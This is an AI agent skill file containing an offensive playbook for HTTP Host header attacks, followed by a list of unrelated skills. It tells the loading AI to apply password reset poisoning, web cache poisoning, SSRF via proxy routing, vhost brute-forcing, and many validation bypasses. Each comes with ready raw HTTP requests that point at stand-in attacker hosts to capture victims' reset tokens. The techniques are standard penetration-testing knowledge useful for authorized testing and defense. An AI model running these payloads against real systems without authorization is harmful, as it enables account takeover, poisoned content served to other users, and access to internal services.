http-host-header-attacks
HTTP Host header injection and routing abuse playbook. Use when the application trusts the Host header for generating URLs, routing requests, or access control — enabling password reset poisoning, web cache poisoning, SSRF via routing, and virtual host bypass.
What this skill does
# SKILL: HTTP Host Header Attacks — Injection & Routing Abuse > **AI LOAD INSTRUCTION**: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks. ## 0. RELATED ROUTING - [web-cache-deception](../web-cache-deception/SKILL.md) when Host injection is combined with cache behavior - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when Host header routes requests to internal services - [open-redirect](../open-redirect/SKILL.md) when Host injection causes redirect to attacker domain - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) when Host manipulation helps bypass WAF routing - [request-smuggling](../request-smuggling/SKILL.md) when smuggling enables Host header manipulation past front-end validation - [subdomain-takeover](../subdomain-takeover/SKILL.md) when Host routing exposes internal vhosts resolvable via subdomain --- ## 1. ATTACK SURFACE The Host header is used by web applications and infrastructure for: | Usage | Exploitation | |---|---| | URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker | | Virtual host routing | Spoof Host → access internal/admin vhost | | Cache key component | Inject different Host → poison cache for all users | | Reverse proxy routing | Host determines backend → SSRF to internal services | | Access control decisions | Host-based ACLs can be bypassed | | Canonical URL / SEO redirects | Host injection → open redirect | --- ## 2. PASSWORD RESET POISONING The most common and impactful Host header attack. ### How It Works ``` 1. Attacker requests password reset for [email protected] 2. Attacker modifies Host header in the reset request: POST /forgot-password HTTP/1.1 Host: attacker.com ← injected [email protected] 3. Server generates reset link using Host header value: "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN" 4. Victim receives email, clicks link → token sent to attacker 5. Attacker uses token on real target.com to reset password ``` ### Testing ```http POST /forgot-password HTTP/1.1 Host: attacker-collaborator.burpcollaborator.net Content-Type: application/x-www-form-urlencoded [email protected] ``` Check Burp Collaborator for incoming HTTP request with the reset token. ### Variants - Some apps concatenate: `Host: target.com.attacker.com` → link becomes `https://target.com.attacker.com/reset?token=xxx` - Some apps use only the port portion: `Host: target.com:@attacker.com` → parsed as `attacker.com` in some URL parsers --- ## 3. WEB CACHE POISONING VIA HOST ``` 1. Attacker sends: GET / HTTP/1.1 Host: attacker.com 2. If cache keys on URL path but NOT on Host header: → Response cached with attacker.com in generated links/content 3. Subsequent users requesting GET / receive the poisoned response → Links point to attacker.com, scripts load from attacker.com ``` **Key requirement**: Cache must not include Host header in cache key, but application must use Host in response body. Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response. --- ## 4. SSRF VIA HOST ROUTING When a reverse proxy uses Host header to route to backends: ``` GET /api/internal HTTP/1.1 Host: internal-admin-panel.local → Reverse proxy routes request to internal-admin-panel.local → Attacker accesses internal service ``` Common in: - Nginx `proxy_pass` based on `$host` - Apache `ProxyPass` with virtual host routing - Kubernetes Ingress controllers - Cloud load balancers --- ## 5. VIRTUAL HOST BYPASS Many servers host multiple applications on the same IP via virtual hosting: ``` Target: Host: www.target.com → public site Hidden: Host: admin.target.com → admin panel (not in public DNS) Hidden: Host: staging.target.com → staging environment Hidden: Host: localhost → server status page ``` ### Discovery ``` 1. Brute-force Host header with common vhost names: ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt 2. Try special values: Host: localhost Host: 127.0.0.1 Host: admin Host: internal Host: intranet 3. Compare response size/content to identify different vhosts ``` --- ## 6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED ### 6.1 Override Headers Many frameworks/proxies trust these headers over the Host header: | Header | Frameworks That Trust It | |---|---| | `X-Forwarded-Host` | Symfony, Laravel, Django (when `USE_X_FORWARDED_HOST=True`), Rails (behind proxy) | | `X-Host` | Some custom proxy configurations | | `X-Original-URL` | IIS with URL Rewrite module | | `X-Rewrite-URL` | IIS with URL Rewrite module | | `Forwarded: host=attacker.com` | RFC 7239 compliant proxies | | `X-Forwarded-Server` | Apache mod_proxy | Test all simultaneously: ```http GET /forgot-password HTTP/1.1 Host: target.com X-Forwarded-Host: attacker.com X-Host: attacker.com X-Original-URL: /forgot-password Forwarded: host=attacker.com ``` ### 6.2 Absolute URL in Request Line ```http GET http://attacker.com/path HTTP/1.1 Host: target.com ``` Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability. ### 6.3 Double Host Header ```http GET /path HTTP/1.1 Host: target.com Host: attacker.com ``` Behavior varies: - Some proxies validate first Host, app uses second - Some servers concatenate: `target.com, attacker.com` - RFC says: if both differ, return 400. Most servers don't. ### 6.4 Host with Port / Credentials ```http Host: target.com:@attacker.com Host: target.com:evil.com Host: target.com#@attacker.com Host: attacker.com%[email protected] ``` URL parsers may extract the "host" portion differently when credentials (`@`) or fragments (`#`) are present. ### 6.5 Trailing Dot ```http Host: target.com. ``` DNS treats `target.com.` and `target.com` identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → `target.com. ≠ target.com` in string comparison → bypass whitelist. ### 6.6 Tab / Space Injection ```http Host: target.com\tattacker.com Host: target.com attacker.com ``` Some parsers split on whitespace; the server may use `attacker.com` portion while validation checks `target.com` portion. ### 6.7 Wrap-Around / Enclosed Values ```http Host: "attacker.com" Host: <attacker.com> ``` Quoted or bracketed values may be stripped by the app but not by the validator. --- ## 7. FRAMEWORK-SPECIFIC BEHAVIOR | Framework | Host Source | Gotcha | |---|---|---| | **PHP** | `$_SERVER['HTTP_HOST']` (raw header, directly injectable) | `SERVER_NAME` is safer only with `UseCanonicalName On` | | **Django** | `HttpRequest.get_host()` checks X-Forwarded-Host first (if enabled) | `USE_X_FORWARDED_HOST=True` bypasses `ALLOWED_HOSTS` | | **Rails** | `request.host` from Host header; trusts `X-Forwarded-Host` behind proxy | Rails 6+ `HostAuthorization` middleware mitigates | | **Node/Express** | `req.hostname` / `req.headers.host`; with `trust proxy` uses X-Forwarded-Host | No built-in host validation | --- ## 8. CONNECTION-STATE ATTACKS A sophisticated variant exploiting HTTP keep-alive: ``` Connection 1: Request 1: GET / HTTP/1.1 ← Valid Host: target.com Host: target.com → Proxy validates, forwards, keeps connection open Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection Host: evil.com → Some proxies skip validation on subsequent requests (they validated the connection on first request) ``` This works against proxies that perform Host validation only on the first request
Related in General
modeling-omnistudio-epc-catalog
IncludedSalesforce Industries CME EPC product-modeling skill for Product2-based catalog creation. Use when creating EPC products, configuring product attributes, building offer bundles with Product Child Items, or reviewing EPC DataPack JSON metadata for product catalog changes. TRIGGER when: user creates or updates Product2 EPC records, AttributeAssignment payloads, AttributeMetadata/AttributeDefaultValues, Offer bundles, or ProductChildItem relationships. DO NOT TRIGGER when: designing OmniScripts/FlexCards/Integration Procedures (use building-omnistudio-omniscript, building-omnistudio-flexcard, or building-omnistudio-integration-procedure), implementing Apex business logic (use generating-apex), or troubleshooting deployment pipelines (use deploying-metadata).
relationship-science-coach
IncludedUse this skill for direct, practical adult relationship coaching: couples conflict, repair, trust, marriage, dating, flirting, attachment patterns, emotional connection, sex, desire differences, eroticism, kink negotiation, affection, love languages, breakups, and long-term passion. Draw on Gottman, EFT and Hold Me Tight, attachment science, modern sex research, Perel, Nagoski, Kerner, Schnarch, Love and Stosny, and flexible love-language tools. Be concrete and low-hedge. Redirect only for imminent danger, abuse, coercive control, minors, non-consent, self-harm, stalking, or medical/legal/psychiatric decisions.
building-sf-integrations
IncludedSalesforce integration architecture and runtime plumbing with 120-point scoring. Use this skill to set up Named Credentials, External Credentials, External Services, REST/SOAP callout patterns, Platform Events, and Change Data Capture. TRIGGER when: user sets up Named Credentials, External Services, REST/SOAP callouts, Platform Events, CDC, or touches .namedCredential-meta.xml files. DO NOT TRIGGER when: Connected App/OAuth config (use configuring-connected-apps), Apex-only logic (use generating-apex), or data import/export (use handling-sf-data).
venue-templates
IncludedAccess comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.
let-fate-decide
IncludedDraws the 12 Houses of the Zodiac Tarot spread to inject entropy into planning when prompts are vague, ambiguous, or casually delegated. Interprets the spread to guide next steps. Use when the user says 'let fate decide', 'YOLO', 'whatever', 'idk', or other nonchalant phrases, makes Yu-Gi-Oh references, or when you are about to arbitrarily pick between multiple reasonable approaches. Prefer over ask-questions-if-underspecified when the user's tone is casual or playful rather than precision-seeking.
net-ops
IncludedCross-platform network troubleshooting (Windows, macOS, Linux) via local or remote shell. Use for: DNS broken, can't resolve hostnames, nslookup/dig works but apps fail, NRPT, WFP, scutil, /etc/resolver, systemd-resolved, /etc/resolv.conf, NetworkManager, VPN DNS leak residue (ProtonVPN/Mullvad/WireGuard/AnyConnect), AV/firewall blocking DNS or DoH, Tailscale DNS interaction, intermittent connectivity, remote diagnostics over SSH.